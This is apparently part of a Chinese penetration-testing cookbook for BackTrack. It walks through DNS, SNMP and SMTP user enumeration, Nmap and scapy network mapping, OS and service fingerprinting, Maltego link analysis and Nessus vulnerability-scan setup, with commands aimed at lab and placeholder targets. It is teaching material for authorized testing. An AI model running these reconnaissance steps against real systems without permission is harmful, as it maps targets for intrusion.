在这个示例中，我们将演示一些服务遍历的技巧。遍历（Enumeration）泛指获取网络信息的操作。我们将讲解DNS遍历和SNMP遍历技术。DNS遍历过程用来寻找一个机构的所有DNS服务器和DNS记录。DNS遍历可以收集一些目标的关键信息，例如用户名、计算机名、IP地址等。DNSenmu可以很好地胜任DNS遍历任务。要开展SNMP遍历，就需要用到SnmpEnum这类的SNMP遍历工具。SnmpEnum功能强大，可以用来分析网络中的SNMP通信。

操作步骤

现在开始进行DNS遍历。

1．我们将使用DNSenum进行DNS遍历。要进行DNS遍历就需要在Gnome里打开终端窗口，然后输入下述命令。



　　cd /pentest/enumeration/dns/dnsenum/
　　./dnsenum.pl --enum adomainnameontheinternet.com
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请不要对公网服务器或者他人的网络运行该工具，本例中使用adomainnameontheinternet.com
 进行举例，您应该进行相应替换。一定要当心！

2．此时我们至少能够获取主机、域名服务器和邮件服务器在内的信息。如果我们足够幸运，没准会可以进行域信息的完整传输（zone transfer）（见图3.1）。
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图3.1

3．我们还可以结合其他选项使用DNSenum，常用的选项如下所示。


	
--threads [number]：
 设置同时运行的进程数量。

	
-r
 ：启用递归查询。

	
-d
 ：设置WHOIS查询操作之间的时间延迟（单位为秒）。

	
-o
 ：指定输出位置。

	
-w
 ：启用WHOIS查询。



4．要使用SNMPenum进行SNMP遍历，需要在终端窗口中输入下述命令。



　　cd /pentest/enumeration/snmp/snmpenum/
　　perl snmpenum.pl 192.168.10.200 public windows.txt





5．在本节的示例中，我们攻击主机192.168.10.200
 。如果这个IP的设备开启了SNMP服务并连入网络，您可以得到相当多的信息，如下所示。


	已安装的软件；

	用户名；

	设备运行的时间；

	主机名；

	磁盘信息；

	运行的进程。



SNMP遍历的默认语法如下。



　　perl snmpenum.pl [ip address to attack] [community]
　　 [config file]






6．除此以外，我们还可以使用snmpwalk
 遍历Windows主机的SNMP服务。snmpwalk是一个SNMP应用程序，它使用SNMP协议的GETNEXT
 命令查询网络实体，并生成树状信息。在命令行中输入下述命令：



　　snmpwalk -c public 192.168.10.200 -v 2c






7．我们也可以遍历主机上已经安装好的软件。



　　snmpwalk -c public 192.168.10.200 -v 1 | grep
　　hrSWInstalledName
　　HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: “Vmware
　　Tools”
　　HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: “WebFldrs”






8．我们可以用同一工具来遍历主机开放的所有TCP端口。



　　snmpwalk -c public 192.168.10.200 -v 1 | grep tcpConnState |
　　cut -d”.” -f6 | sort–nu

　　21
　　25
　　80
　　443






9．除了snmpwalk和SNMPenum，snmpcheck也能用来进行SNMP遍历。



　　cd /pentest/enumeration/snmp/snmpcheck/
　　perl snmpcheck.pl -t 192.168.10.200





10．要使用fierce（一个尝使用多种技术来查找目标使用的所有IP地址和主机名的工具）执行域扫描，我们可以输入下述命令。



　　 cd /pentest/enumeration/dns/fierce/
　　 perl fierce.pl -dns adomainnameontheinternet.com
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请不要对公网服务器或他人的网络运行该工具，本例中使用adomainnameontheinternet.com
 进行举例，您应该进行相应的替换。一定要当心！

11．在使用fierce执行域扫描时，也可以指定使用字典文件。命令如下所示。



　　 perl fierce.pl -dns adomainnameontheinternet.com -wordlist
　　 hosts.txt -file /tmp/output.txt






12．要在一台SMTP服务器上遍历STMP的账号信息、验证用户名是否存在，可以输入下述命令：



　　 smtp-user-enum.pl -M VRFY -U /tmp/users.txt -t 192.168.10.200






13．在获取结果之后，我们可以对其进行记录。

3.3　确定目标网段

在上一个示例中，我们收集了很多信息，现在我们来确定目标网络的IP地址范围。在本示例中，我们将利用相关工具来完成这个任务。

操作步骤

现在开始进行确定网络范围的具体操作，首先还是打开一个终端窗口。

1．打开一个终端窗口，并输入下述命令。



　　dmitry -wnspb targethost.com -o /root/Desktop/dmitry-result






2．完成之后，桌面上会有一个文件名为dmitry-result.txt
 的文本文件，里面记载了从目标收集的信息（见图3.2）。
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图3.2

3．如果要使用ICMP协议的相关指令，查询目标主机的网络掩码，可以输入下述命令。



　　netmask -s targethost.com






4．可以使用scapy进行traceroute多路并发操作。输入下述命令来启动scapy。



　　scapy






5．启动scapy之后，可以输入下面的函数。



　　ans,unans=sr(IP(dst=”www.targethost.com/30”, ttl=(1,6))/TCP())






6．要在表格中显示结果，可以运行下述函数。



　　ans.make_table(lambda(s,r):(s.dst,s.ttl,r.src))






其输出如下所示。



   216.27.130.162　　216.27.130.163　　216.27.130.164　　216.27.130.165
   1 192.168.10.1　　192.168.10.1　  　192.168.10.1　　  192.168.10.1
   2 51.37.219.254　 51.37.219.254　　 51.37.219.254　 　51.37.219.254
   3 223.243.4.254　 223.243.4.254　　 223.243.4.254　　 223.243.4.254
   4 223.243.2.6　 　223.243.2.6  　　　223.243.2.6　 　　223.243.2.6
   5 192.251.254.1　 192.251.251.80　 　192.251.254.1　　192.251.251.80







7．要使用scapy执行TCP tracerout操作，可以输入下述函数。



　　res,unans=traceroute([“www.google.com”,”www.backtrack-
　　linux.org”,”www.targethost.com”],dport=[80,443],maxttl=20,
　　retry=-2)






8．要显示结果的图形化表示，可以输入下述函数（见图3.3）。



　　res.graph()
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图3.3

9．要保存图形输出，只需输入下述函数。



　　res.graph(target=”> /tmp/graph.svg”)






最后面引号部分的是文件名，请自行设置。

10．我们也可以生成3D图像。这可通过下述函数实现。



　　 res.trace3D()






11．运行下述函数，即可退出scapy。



　　 exit()






12．在保存生成的文件之后，日后可进行文档管理。

本例小结

在第1步，我们使用dmitry
 工具获取目标的信息，使用-wnspb
 选项对域名进行WHOIS查询、获取Netcraft.com
 的信息、搜索可能的子域名，并进行TCP端口扫描。结合-o
 选项把结果存储到文本文档，供后续操作使用。在第3步，我们执行了一次简单的ICMP网络掩码查询，使用选项-s
 输出了IP地址和网络掩码。接下来，我们使用scapy工具针对目标主机发起多路并发traceroute
 的操作，将结果以表格格式显示出来。在第7步，我们在端口80
 和443
 上执行了一次TCP traceroute操作，将TTL的上限设置为20
 。完成这些操作之后，我们获得了一个结果，并以图形化方式来表示该结果，然后将其存储在一个临时目录中，我们还以3D图形方式来表示了该结果。最后，我们退出scapy。

3.4　识别在线设备

在执行渗透测试之前，首先要确定目标网络范围中哪些设备在线。

广为人知的简单的方法是ping目标网络。当然，这会被对方主机发现，它们也可能拒绝响应ping命令，这不是我们希望的结果。

操作步骤

现在开始搜索连入网络的设备。首先打开一个终端窗口。

1．借助Nmap，我们可以确定一台主机是否开机，如下所示。



   nmap -sP 216.27.130.162



   Starting Nmap 5.61TEST4 ( http://nmap.org

 ) at 2012-04-27
   23:30 CDT
   Nmap scan report for test-target.net (216.27.130.162)
   Host is up (0.00058s latency).
   Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds




2．我们也可以使用Nping（Nmap软件包中有这个程序），它的输出更为详尽（见图3.4）。



   nping --echo-client“public”echo.nmap.org






3．我们还可以向一台指定主机发送十六进制的数据。



   nping -tcp -p 445–data AF56A43D 216.27.130.162
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图3.4

3.5　扫描开放端口

在获知目标的网络的网段信息、了解哪些主机在线之后，我们就可以执行端口扫描过程，以获取打开的TCP和UDP端口，以及接入点。

准备工作

为了完成该示例，必须开启Apache Web服务器。

操作步骤

现在开始端口扫描过程，首先打开一个终端窗口（见图3.5）。
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图3.5

1．打开一个终端窗口，输入下述命令。



　　nmap 192.168.56.102






2．我们可以显式指定要扫描的端口范围（在本例中，我们仅扫描1000
 个端口）（见图3.6）。



　　nmap -p 1-1000 192.168.56.102
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图3.6

3．也可以让Nmap扫描整个网络的TCP 22
 端口（见图3.7）。



　　nmap -p 22 192.168.56.*
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图3.7

4．此外，我们可以将结果以指定格式输出。



　　nmap -p 22 192.168.10.* -oG /tmp/nmap-targethost-tcp22.txt






本例小结

在这个示例中，我们使用Namp来扫描网络中的目标主机，以确定哪些端口是开放的。

他山之石

Nmap一个名为Zenmap的GUI版本，通过在终端窗口输入命令zenmap
 可以启动。也可以单击Applications|BackTrack|Information Gathering|NetworkAnalysis|NetworkScanners|zenmap
 来启动（见图3.8）。
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图3.8

3.6　识别操作系统

信息收集过程进行到这一步时，我们应该从目标网络中获取了很多IP地址、在线设备以及开放的端口等信息。在下一步，我们需要了解在线主机所运行的操作系统，以知道我们将针对哪种操作系统进行渗透测试。

准备工作

为了完成本示例的第2步，我们需要使用Wireshark程序捕获网络通信、生成相应文件。

操作步骤

现在，通过一个终端窗口进行操作系统识别过程。

1．在Nmap中，我们执行下述命令，以启用操作系统检测功能（见图3.9）（此处省略Wireshark的使用说明，读者需要使用Wireshark捕获这个过程的数据包，并且生成/tmp/targethost.pcap
 ）。



　　nmap -O 192.168.56.102
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图3.9

2．使用p0f来分析Wireshark捕获的文件。



　　P0f -s /tmp/targethost.pcap -o p0f-result.log -l
　　p0f - passive os fingerprinting utility, version 2.0.8
　　©M．Zalewski , W．Stearns
　　< wstearns@pobox.com>
　　p0f: listening (SYN) on‘targethost.pcap’, 230 sigs (16
　　generic), rule: ‘all’.
　　 [+] End of input file.






3.7　识别系统服务

识别特定端口上运行哪些服务，这一步是渗透测试成败的关键。如果在操作系统识别过程中有不确定因素，则系统服务识别可将这些不确定因素逐一排除。

操作步骤

现在开始系统服务的识别过程，还是需要启动一个终端窗口。

1．打开一个终端窗口并输入下述命令。



   nmap -sV 192.168.10.200

   Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-28
   05:10 CDT
   Interesting ports on 192.168.10.200:
   Not shown: 1665 closed ports
   PORT STATE SERVICE VERSION
   21/tcp open ftp Microsoft ftpd 5.0
   25/tcp open smtp Microsoft ESMTP 5.0.2195.6713
   80/tcp open http Microsoft IIS webserver 5.0
   119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702
   (posting ok)
   135/tcp open msrpc Microsoft Windows RPC
   139/tcp open netbios-ssn
   443/tcp open https?
   445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
   1025/tcp open mstask Microsoft mstask
   1026/tcp open msrpc Microsoft Windows RPC
   1027/tcp open msrpc Microsoft Windows RPC
   1755/tcp open wms?
   3372/tcp open msdtc?
   6666/tcp open nsunicast Microsoft Windows Media Unicast
   Service (nsum.exe)
   MAC Address: 00:50:56:C6:00:01 (VMware)
   Service Info: Host: DC; OS: Windows

   Nmap finished: 1 IP address (1 host up) scanned in 63.311
   seconds






2．使用Amap命令，我们可以识别特定端口或一系列端口上运行的应用程序，如下所示。



   amap -bq 192.168.10.200 200-300



   amap v5.4 (www.thc.org/thc-amap) started at 2012-03-28
   06:05:30 - MAPPING mode
   Protocol on 127.0.0.1:212/tcp matches ssh - banner: SSH-2.0-
   OpenSSH_3.9p1\n
   Protocol on 127.0.0.1:212/tcp matches ssh-openssh - banner:
   SSH-2.0-OpenSSH_3.9p1\n
   amap v5.0 finished at 2005-07-14 23:02:11




3.8　使用Maltego进行威胁评估

在这个示例中，我们将使用Maltego为BrackTrack定制的特殊版本，它可以帮助我们在信息收集阶段，将所收集的信息以一种易于理解的格式表示出来。Maltego是一款开源的威胁评估工具，其设计宗旨是为了演示网络中单点故障（single point of failure）的复杂程度和严重程度。它能汇聚来自网络内部和网络外部的信息，并提供一个简洁的威胁图像。

准备工作

在使用Maltego之前需要有一个账户。登录
https://www.paterva.com/web6/community/

 可以注册一个账户。

操作步骤

现在开始启动Maltego。

1．单击Applications|BackTrack|Information Gathering| Web Application Analysis|Open Source Analysis|maltego
 ，启动Maltego（见图3.10）。
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图3.10

2．在启动向导中单击Next
 ，输入登录详情（见图3.11）。
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图3.11

3．单击Next
 ，验证注册信息。验证通过后，单击Next
 按钮继续。

4．选择transform seed settings
 ，然后单击Next
 （见图3.12）。
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图3.12

5．在进入下一个窗口之前，向导会执行一系列操作。执行完毕后，选择Open a blank graph and let me play around
 ，然后单击Finish
 （见图3.13）。
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图3.13

6．从Palette
 组件中，将Domain
 实体拖放到新建的图像文件中（见图3.14）。
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图3.14

7．单击刚才创建的Domain
 实体，在右侧的Property View中编辑Domain Name
 属性（见图3.15）。
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图3.15

8．在设置完目标之后，就可以进行信息收集。首先右键单击刚才创建的Domain
 实体，选择Run Transform
 ，显示可用的选项（见图3.16）。
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图3.16

9．可以选择查找DNS名、执行WHOIS查询、获取邮件地址等，我们也可以选择运行所有的转换，如图3.17所示。
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图3.17

10．在执行上述操作时，如果带有一个链接的子节点，可以获得更多的信息，直到我们满意为止。

本例小结

在这个示例中，我们使用Maltego挖掘网络信息。Maltego是一个开源的信息收集、法证调查工具，它是由Paterva创建的。我们首先完成安装向导，然后将Domain
 实体拖动到图形文件中，最后通过不同的信息源完成信息收集操作。Maltego使用起来相当顺手，可以使用Maltego的自动化功能来快速收集目标的信息（比如邮件地址、查找服务器、执行WHOIS查询等）。
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在收集信息时，Maltego的社区版本（Community Edition）只允许用户执行75次转换操作。在2012年年底，Maltego的完全版本售价650美元。

补充资料

激活和启用转换是通过Manage
 功能区选项卡下的Transform Manager
 窗口来实现的（见图3.18）。
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图3.18

要想使用多个转换，必须首先接受一个免责声明。

3.9　绘制网络

通过前面示例中获得的信息，接下来就可以使用这些信息来绘制相关的网络拓扑。在本章最后这个示例中，我们将看到如何使用Maltgo CaseFile来进行可视化的编译，以及组织整理这些信息。

在CaseFile开发人员的官网网站上声明到，它与Maltego相似，虽然没有转换功能，但是却多了更多的特性。在下面的“操作步骤”一节将演示这些特性。

操作步骤

现在启动CaseFile。

1．单击Applications|BackTrack|Reporting Tools| Evidence Management|casefile，
 启动CaseFile。

2．要创建一个新的图形，只需要在CaseFile的应用窗口中单击New
 （见图3.19）。
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图3.19

3．与Maltego的操作相似，首先从Palette
 组件中拖曳每一个实体到图形文档。我们先拖动Domain
 实体，然后更改Domain Name
 的属性（见图3.20）。

4．要添加注释，只需将鼠标指针悬停到实体上方，然后双击注释图标（见图3.21）。
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图3.20
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图3.21

5．然后拖动另一个实体，即可输入目标的DNS信息（见图3.22）。
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图3.22

6．要链接实体，只需要在两个实体之间拖画一条线即可（见图3.23）。
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图3.23

7．根据需要自定义链接的属性（见图3.24）。

8．重复步骤5、6、7，添加目标网络相关的更多信息到图形中（见图3.25）。
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图3.24
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图3.25

9．最后，保存信息图形。之后，我们可以根据需要打开和编辑该图形文档。比如，我们掌握了目标网络的更多信息时，就需要编辑该文档。

本例小结

在这个示例中，我们演示了Maltego CaseFile绘制网络结构的方法。CaseFile是一个可视化的情报管理程序，我们可以用它来记录数百种类型的信息，整理它们之间的关系和关联。它主要用于离线的情报整理，所以需要人工输入相关信息、关系和关联。在这个示例中，我们首先启动了CaseFire，然后创建了一个新的图形。接下来，我们使用了收集到的或者已知的目标网络信息，然后将组件添加到图形中，并展示其设置。最后，我们将所整理出的图像保存为文件。

补充资料

为了防止图形文档被他人偷窥，我们将可对其加密。要加密图形，只需在保存时，选中Encrypt（AES-128）
 复选框，然后输入密码即可。








第4章　漏洞识别

本章将讲解下述内容：


	安装、配置和启动Nessus；

	使用Nessus查找本地漏洞；

	使用Nessus查找网络漏洞；

	使用Nessus查找Linux漏洞；

	使用Nessus查找Windows漏洞；

	安装、配置和启动OpenVAS；

	使用OpenVAS查找本地漏洞；

	使用OpenVAS查找网络漏洞；

	使用OpenVAS查找Linux漏洞；

	使用OpenVAS查找Windows漏洞。



4.1　简介

在大多数渗透测试人员和道德黑客看来，扫描与识别目标的漏洞是一项乏味无趣的任务。但是，这项任务却很重要。扫描与识别目标系统的漏洞就像学校老师留给您的家庭作业。家庭作业和测验用来测试您是否掌握了相应知识、能否通过考试；而扫描漏洞同样是您进行下一步工作的敲门砖。

漏洞识别（vulnerability identification） 是完成这种作业的必经之路。您将了解到您的目标容易感染哪些漏洞，从而做出一系列更加完美的攻击。从本质上来讲，如果说攻击是一门考试，那么漏洞识别则给您提供了进行准备的机会。

在扫描目标主机漏洞方面，Nessus和OpenVAS的能力十分相似，漏洞数据库的区别也不大。它们能够识别的漏洞如下所示：


	Linux漏洞；

	Windows漏洞；

	本地安全监测；

	网络服务漏洞。



4.2　安装、配置和启动Nessus

在本示例中，我们将安装、配置和启动Nessus。Nessus有两种类型的授权，即专业版和家庭版（商业和免费两个版本）。在扫描既定目标系统的漏洞的能力方面，存在细微的差别。


	
Home feed（家庭版授权）
 ：家庭版feed主要面向个人和非商业用途。如果出于商业目的而使用Nessus，则应按照相关要求购买专业版授权。

	
Professional Feed（专业版授权）
 ：专业版feed适用于商业用途。与家庭版相比，专业版有更多的功能，例如无限的并发连接等。如果您是一名顾问，或者使用Nessus为客户进行渗透测试，您就应该选择购买专业版的Nessus。



在我们的示例中，均以使用家庭版Nessus为假设和前提。

准备工作

要运行本示例，需要满足如下条件：


	将系统接入Internet；

	持有Nessus家庭版的有效许可。



操作步骤

现在，打开一个终端窗口，然后开始安装、配置和启动Nessus。

1．打开一个终端窗口。

2．在其中输入下列命令，开始安装Nessus。



　　apt-get install nessus






3．Nexus将安装在/opt/nessus
 目录中。

4．安装完成之后，可通过下面的命令来运行Nessus。



　　/etc/init.d/nessusd start






如果看到下述错误信息（见图4.1），请阅读本示例末尾的“补充资料”一节。

[image: 0401]


图4.1

5．执行下述命令启用安装的Nessus。



　　/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX-XXXX






在这个时候，BackTrack系统将会从
http://plugins.nessus.org

 下载最新的插件和数据库。


[image: Advanced-Penetration-Testing-for-Highly-Secured-Environments-The-Ultimate-Security-Guide-eBook24062012_1093525-24]


该过程可能需要几分钟的时间，具体时间长度取决于您的网络连接速度。



6．现在在终端窗口中输入下述命令，添加用户。



　　/opt/nessus/sbin/nessus-adduser
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也可以通过Applications | BackTrack | VulnerabilityAssessment | Vulnerability Scanners | Nessus | nessus user add
 菜单添加用户。



7．在终端提示符下输入用户的登录名。

8．然后输入两次密码。

9．在询问是否将这个用户添加为管理员时，回答y（yes）。
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仅需要对第一个用户执行如上操作。



10．结束之后，输入下述命令，运行Nessus（如果没有用户账户，Nessus不会运行）。



　　/etc/init.d/nessusd start






11．通过
https://127.0.0.1:8834

 登录Nessus。
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您既可以在本地（物理）机器上安装的BackTrack 5上运行Nessus，也可以在虚拟机里的BackTrack 5上运行Nessus。但是，建议您在虚拟机里运行Nessus。原因是，Nessux基于运行设备的硬件识别码而激活。如果使用USB方式安装BackTrack，则每次启动机器时，都需要重新激活Nessus。



本例小结

在本示例中，我们打开了一个终端窗口，然后通过官方的软件仓库下载并安装了Nessus。然后，我们启动Nessux，并安装了授权证书，以备后续使用。

补充资料

注册Nessus的时候您必须要有一个有效的授权，即许可证号码。这个授权可以在
http:// www. tenable.com/ products/nessus/nessus-homefeed

 网站上索取。另外，访问Nessus的控制台需要用到浏览器内置的Flash插件，所以在第一次启动Nessus程序时，至少给Firefox安装好Flash插件。如果在安装Flash插件时遇到困难，请参考
http:// www.backtrack-linux.org/ wiki/index. php/Install_Flash_Player

 ，以获取更多详情。

4.3　Nessus——查找本地漏洞

此时Nessus已经安装并配置完毕。我们可以运行Nessus测试特定平台上的漏洞集合。根据授权类型的不同，Nessus允许我们攻击的漏洞范围也不尽相同。我们需要在Nessus里设置扫描（评估）的类型和参数，使其与我们打算获取的信息类型相匹配。在本示例中，我们将查找本地漏洞。本地漏洞都与本地设备所使用的操作系统相对应。

准备工作

要完成本示例，您需要测试您的本地系统（BackTrack）：


	Windows XP；

	Windows 7；

	Metasploitable 2；

	各种版本的Linux。



操作步骤

打开Firefox Web浏览器，准备使用Nessus来查找本地漏洞。

1．通过
http://127.0.0.1:8834

 登录Nessus。

2．找到Policies
 。

3．单击Add Policy
 （见图4.2）。
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图4.2

4．在General
 选项卡中，执行下述任务。

　　i．为扫描任务输入一个名称。这里将其命名为Local Vulnerabilities
 ，不过您可以随意设置一个名称。

　　ii．Visibility
 有两个选项。


	
Shared
 ：其他用户可以使用这个扫描任务。

	
Private
 ：只有自己可以执行这个扫描任务。



　　iii．页面中的其他选项使用默认值。

　　iv．单击Next
 。

5．在Plugins
 选项卡中，选择Disable All
 ，然后选择下述类型的漏洞（见图4.3）。


	Ubuntu Local Security Checks

	Default Unix Accounts
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图4.3

6．单击Submit
 按钮，保存新策略。

7．在主界面单击Scans
 菜单选项。

8．单击Add Scan
 按钮，并执行下述任务。

　　i．为扫描输入一个名称。当您每次运行多个扫描时，这会相当有用。名称也可以用来区分不同的扫描任务。

　　ii．设置扫描类型。


	
Run Now
 ：程序默认的扫描类型。它将会立即运行扫描。

	
Scheduled
 ：允许用户选择扫描的运行日期和时间。

	
Template
 ：允许用户将该扫描任务的设置保存为模板。



　　iii．选择一个扫描策略。在本例中，我们使用的是之前创建的Local Vulnerabilities
 策略。

　　iv．在选择扫描目标时，需要考虑下面几点。


	一行只能输入一个目标。

	在每一行中可以输入一个目标网段。



　　v．您也可以上传一个目标文件（如果有的话），或者选择Add Target IP Address
 。

9．单击Launch Scan
 开始扫描（见图4.4）。
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图4.4

10．在扫描完成后，程序将会在窗口进行通知和提示。扫描时间的长短取决于扫描任务主机的目标数量，以及执行测试的数量。

11．扫描完成后，也会生成一个报告。

12．双击报告，分析下述情况。

　　i．发现漏洞的每一个目标都会被列出。

　　ii．双击IP地址可查看端口，以及端口的漏洞。

　　iii．单击“严重性级别”列（Total
 ，High
 ，Medium
 或Low
 ）下的数值，可以得到一个已发现漏洞的详细列表。

13．在Reports
 主菜单下单击Download Report
 ，保存扫描报告。

4.4　Nessus——查找网络漏洞

根据授权类型的不同，Nessus允许我们攻击的漏洞范围也不尽相同。我们需要设置扫描目标和待评估的漏洞列表，使其与我们打算获取的信息类型相匹配。在本示例中，我们将查找网络远程设备上的漏洞。这些漏洞只会出现在网络设备或网络服务协议上。

准备工作

要完成本示例，我们需要用到虚拟机：


	Windows XP；

	Windows 7；

	Metasploitable 2；

	网络防火墙或者路由器；

	任意版本的Linux。



操作步骤

打开Firefox Web浏览器，准备使用Nessus来查找网络漏洞。

1．通过
http://127.0.0.1:8834

 登录Nessus。

2．找到Policies
 。

3．单击Add Policy
 （见图4.5）。
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图4.5

4．在General
 选项卡中，执行下述任务。

　　i．为扫描输入一个名称。这里将其命名为Internal Network Scan
 ，不过您可以设置任意一个名称。

　　ii．Visibility
 有两个选项。


	
Shared
 ：其他用户可以使用这个扫描任务。

	
Private
 ：只有自己可以执行这个扫描任务。



　　iii．页面中的其他选项使用默认值。

　　iv．单击Submit
 。

5．在Plugins
 选项卡中，单击Disable All
 后选择下列具体漏洞（见图4.6）。
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图4.6


	CISCO

	DNS

	Default Unix Accounts

	FTP

	Firewalls

	Gain a shell remotely

	General

	Netware

	Peer-To-Peer File Sharing

	Policy Compliance

	Port Scanners

	SCADA

	SMTP Problems

	SNMP

	Service Detection

	Settings



6．单击Submit
 保存新策略。

7．在主界面单击Scans
 菜单选项。

8．单击Add Scan
 按钮，并执行下述任务。

　　i．为扫描输入一个名称。当您每次运行多个扫描时，这会相当有用。名称也可以用于来区分当前运行的不同的扫描任务。

　　ii．设置扫描类型。

　　　Run Now
 ：程序默认的扫描选项。它将会立即运行扫描。

　　　Scheduled
 ：允许用户选择扫描的运行日期和时间。

　　　Template
 ：允许用户将该扫描任务的设置保存为模板。

　　iii．选择一个扫描策略。在本例中，我们使用的是之前创建的Internal Network Scan
 策略。

　　iv．在选择扫描目标时，需要考虑下面几点。


	一行只能输入一个目标。

	在每一行中可以输入一个网段。



　　v．您也可以上传一个目标文件（如果有的话），或者选择Add Target IP Address
 。

9．单击Launch Scan
 开始扫描（见图4.7）。

10．在扫描完成之后，程序将会在窗口进行通知和提示。扫描时间的长短取决于扫描任务主机的目标数量，以及执行测试的数量（见图4.8）。

11．扫描完成后，也会生成一个报告。

12．双击报告，分析下述情况。

　　i．发现漏洞的每一个目标都会被列出。

　　ii．双击IP地址可查看端口，以及端口的漏洞。

　　iii．单击“严重性级别”列（Total
 ，High
 ，Medium
 或Low
 ）下的数值，可以得到一个已发现漏洞的详细列表。
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图4.7
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图4.8

13．在Reports
 主菜单下单击Download Report
 ，保存扫描报告。

4.5　Nessus——查找Linux漏洞

根据授权类型的不同，Nessus允许我们攻击的漏洞范围也不尽相同。我们需要设置扫描目标和待评估的漏洞列表，使其与我们打算获取的信息类型相匹配。在本示例中，我们将使用Nessus来查找Linux主机上的漏洞。这些漏洞只会出现在运行Linux系统的主机设备上。

准备工作

要完成本示例，我们需要用到虚拟机：


	Metasploitable 2；

	各种版本的Linux。



操作步骤

打开Firefox Web浏览器，准备使用Nessus来查找网络漏洞。

1．通过
http://127.0.0.1:8834

 登录Nessus。

2．找到Policies
 。

3．单击Add Policy
 （见图4.9）。
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图4.9

4．在General
 选项卡中，执行下述任务。

　　i．为扫描输入一个名称。这里将其命名为Linux Vulnerabilities
 ，不过您可以随意设置一个任务名称。

　　ii．Visibility
 有两个选项。


	
Shared
 ：其他用户可以使用这个扫描任务。

	
Private
 ：只有自己可以执行这个扫描任务。



　　iii．页面中的其他选项使用默认值。

　　iv．单击Next
 。

5．在Plugins
 选项卡中，单击Disable All
 后选择下列具体漏洞。此时我们扫描的目标，是可能在Linux系统上运行的服务，因此这个列表有点长（见图4.10）。
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图4.10


	BackDoors

	Bruce Force Attacks

	CentOS Local Security Checks

	DNS

	Debian Local Security Checks

	Default Unix Accounts

	Denial of Service

	FTP

	Fedora Local Security Checks

	Firewalls

	FreeBSD Local Security Checks

	Gain a shell remotely

	General

	Gentoo Local Security Checks

	HP-UX Local Security Checks

	Mandriva Local Security Checks

	Misc

	Port Scanners

	Red Hat Local Security Checks

	SMTP Problems

	SNMP

	Scientific Linux Local Security Checks

	Slackware Local Security Checks

	Solaris Local Security Checks

	SuSE Local Security Checks

	Ubuntu Local Security Checks

	Web Servers



6．单击Submit
 保存策略。

7．在主界面单击Scans
 菜单选项。

8．单击Add Scan
 按钮，并执行下述任务。

　　i．为扫描输入一个名字。当您每次运行多个扫描时，这会相当有用。这也可以用来与当前运行的扫描进行区分。

　　ii．设置扫描类型。


	
Run Now
 ：程序默认的扫描选项。它将会立即运行扫描。

	
Scheduled
 ：允许用户选择扫描的运行日期和时间。

	
Template
 ：允许用户将该扫描任务的设置保存为模板。



　　iii．选择一个扫描策略。在本例中，我们使用的是之前创建的Linux Vulnerabilities
 策略。

　　iv．在选择扫描目标时，需要考虑下面几点。


	一行只能输入一个目标。

	在每行中可以输入一个网段。



　　v．您也可以上传一个目标文件（如果有的话），或者选择Add Target IP Address
 。

9．单击Launch Scan
 开始扫描（见图4.11）。
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图4.11

10．在扫描完成之后，程序将会在窗口进行通知和提示。扫描时间的长短取决于扫描任务主机的目标数量，以及执行测试的数量。

11．扫描完成后，也会生成一个报告。

12．双击报告，分析下述情况。

　　i．发现漏洞的每一个目标都会被列出。

　　ii．双击其IP地址可查看端口，以及端口的漏洞。

　　iii．单击“严重性级别”列（Total
 ，High
 ，Medium
 或Low
 ）下的数值，可以得到一个已发现漏洞的详细列表。

13．在Reports
 主菜单下单击Download Report
 ，保存扫描报告。

4.6　Nessus——查找Windows漏洞

根据授权类型的不同，Nessus允许我们攻击的漏洞范围也不尽相同。我们需要设置扫描目标和待评估的漏洞列表，使其与我们打算获取的信息类型相匹配。在本示例中，我们将使用Nessus来查找Windows漏洞。这些漏洞只会出现在运行Windows的设备上。

准备工作

要完成本示例，我们需要用到虚拟机：


	Windows XP；

	Windows 7。



操作步骤

打开Firefox Web浏览器，准备使用Nessus来查找网络漏洞。

1．通过
http://127.0.0.1:8834

 登录Nessus。

2．找到Policies
 。

3．单击Add Policy
 （见图4.12）。
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图4.12

4．在General
 选项卡中，执行下述任务。

　　i．为扫描输入一个名称。这里将其命名为Windows Vulnerabilities
 ，不过您可以随意设置一个名称。

　　ii．Visibility
 有两个选项。


	
Shared
 ：其他用户可以使用这个扫描任务。

	
Private
 ：只有自己可以执行这个扫描任务。



　　iii．页面中的其他选项使用默认值。

　　iv．单击Next
 。

5．在Plugins
 选项卡中，单击Disable All
 后选择下列具体漏洞，这些漏洞在Windows系统中可能会出现（见图4.13）。
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图4.13


	DNS

	Databases

	Denial of Service

	FTP

	SMTP Problems

	SNMP

	Settings

	Web Servers

	Windows

	Windows: Microsoft Bulletins

	Windows: User management



6．单击Submit
 保存新策略。

7．在主界面单击Scans
 菜单选项。

8．单击Add Scan
 按钮，并执行下述任务。

　　i．为扫描输入一个名称。当您每次运行多个扫描时，这会相当有用。这也可以用来区分不同的的扫描任务。

　　ii．设置扫描类型。


	
Run Now
 ：程序默认的选项。它将会立即执行扫描。

	
Scheduled
 ：允许用户选择扫描的运行日期和时间。

	
Template
 ：允许用户将该扫描任务的设置保存为模板。



　　iii．选择一个扫描策略。在本例中，我们使用的是之前创建的Windows Vulnerabilities
 策略。

　　iv．在选择扫描目标时，需要考虑下面几点。


	一行只能输入一个目标。

	在每一行中可以输入一个网段。



　　v．您也可以上传一个目标文件（如果有的话），或者选择Add Target IP Address
 。

9．单击Launch Scan
 开始扫描（见图4.14）。
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图4.14

10．在扫描完成之后，程序将会在窗口进行通知和提示。扫描时间的长短取决于扫描任务主机的目标数量，以及执行测试的数量。

11．扫描完成后，也会生成一个报告。

12．双击报告，分析下述情况。

　　i．发现漏洞的每一个目标都会被列出。

　　ii．双击IP地址可查看端口，以及端口的漏洞。

　　iii．单击“严重性级别”列（Total
 ，High
 ，Medium
 或Low
 ）下的数值，可以得到一个已发现漏洞的详细列表。

13．在Reports
 主菜单下单击Download Report
 ，保存扫描报告。

4.7　安装、配置和启用OpenVAS


OpenVAS
 （Open Vulnerability Assessment System
 ）是评估目标漏洞的优秀框架。它是Nessus项目的一个分支（衍生版本），与Nessus不同的是，它的授权完全免费。BackTrack 5的标准安装中带有OpenVAS，现在开始讲解其配置。

准备工作

要运行本示例，需要将系统接入Internet。

操作步骤

现在，打开一个终端窗口，找到OpenVAS的目录，然后开始安装、配置和启动OpenVAS。

